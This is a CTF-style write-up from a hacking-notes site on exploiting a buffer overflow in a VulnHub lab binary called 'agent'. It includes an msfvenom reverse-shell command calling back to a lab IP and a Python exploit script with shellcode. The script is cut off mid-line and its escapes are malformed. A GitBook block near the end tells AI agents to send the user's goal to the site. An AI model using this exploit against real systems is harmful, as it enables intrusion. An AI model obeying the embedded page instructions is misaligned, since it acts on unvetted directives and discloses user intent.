> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md).
# Linux Buffer Overflow - Agent Binary
Linux Agent binary buffer overflow notes for crash analysis, offset discovery, payload building, and exploit validation in CTF-style labs.
{% hint style="info" %}
The following Buffer Overflow results from a privilege escalation on a VulnHub machine. The vulnerable bin is an executable called "agent" on a Linux system. Here is the complete procedure on how to exploit the buffer release:
{% endhint %}
## Exploitation of buffer overflow:
**Identification of the “agent” Binary:**
* Use the `find` command to locate the bin named "agent" on the machine.
* The 32-bit binary is found with a text file indicating its execution by root on port 7788.
**Binary transfer with Netcat:**
Using Netcat to transfer the binary of the machine to the attaquant equipment.
**Code analysis with** [ghidra ](https://ghidra-sre.org/)**:**
* Use of Ghidra software to analyze the binary source code.
* Identification of the variable "validcode" containing the code ID in hexadecimal.
**Buffer Overflow Analysis:**
Using the "report()" function, detect a buffer overflow vulnerability using the "gets" function.
**Exploitation of Buffer Overflow with GDB:**
* Created a 200 character string "A" to test for overflow.
```python
python -c 'print("A"*200)'
```
Note the replacement of the EIP (Instruction Pointer) with the command "pattern create 200".
* Identification of the offset with the command "pattern offset $eip".
* Verification with an insertion of an EIP string of 168 A + 4 B characters:
```python
python -c 'print("A"*168 + "B"*4)'
```
* Validation of protections with the "checksec" command.
**ASLR Verification:**
Search for static addresses of the binary with the command "objdump -d agent | grep -i 'FF D0'".
```bash
objdump -d agent | grep -i "FF D0"
```
**Creation of Shellcode for the Reverse Shell:**
Using Metasploit to generate shellcode for a reverse shell.
```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.71.128 LPORT=443 -b '/x00/x0a/x0d' -f c
```
**Python Script for Operation:**/ Writing a Python script to connect to the vulnerable service and exploit the buffer overflow.
```python
#!/usr/bin/python3
from struct import pack
import socket
shellcode = (b"/xbf/x11/x58/xbb/xb7/xdb/xd7/xd9/x74/x24/xf4/x58/x31/xc9"
b"/xb1/x12/x31/x78/x12/x83/xc0/x04/x03/x69/x56/x59/x42/xb8"
b"/xbd/x6a/x4e/xe9/x02/xc6/xfb/x0f/x0c/x09/x4b/x69/xc3/x4a"
b"/x3f/x2c/x6b/x75/x8d/x4e/xc2/xf3/xf4/x26/x15/xab/x40/x36"
b"/xfd/xae/x4e/x37/x45/x27/xaf/x87/xdf/x68/x61/xb4/xac/x8a"
b"/x08/xdb/x1e/x0c/x58/x73/xcf/x22/x2e/xeb/x67/x12/xff/x89"
b"/x1e/xe5/x1c/x1f/xb2/x7c/x03/x2f/x3f/xb2/x44")
offset = 168
payload = shellcode + b"A" * (offset - len(shellcode)) + pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/useful-resources/exploit-development/linux-buffer-overflow-agent-binary.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)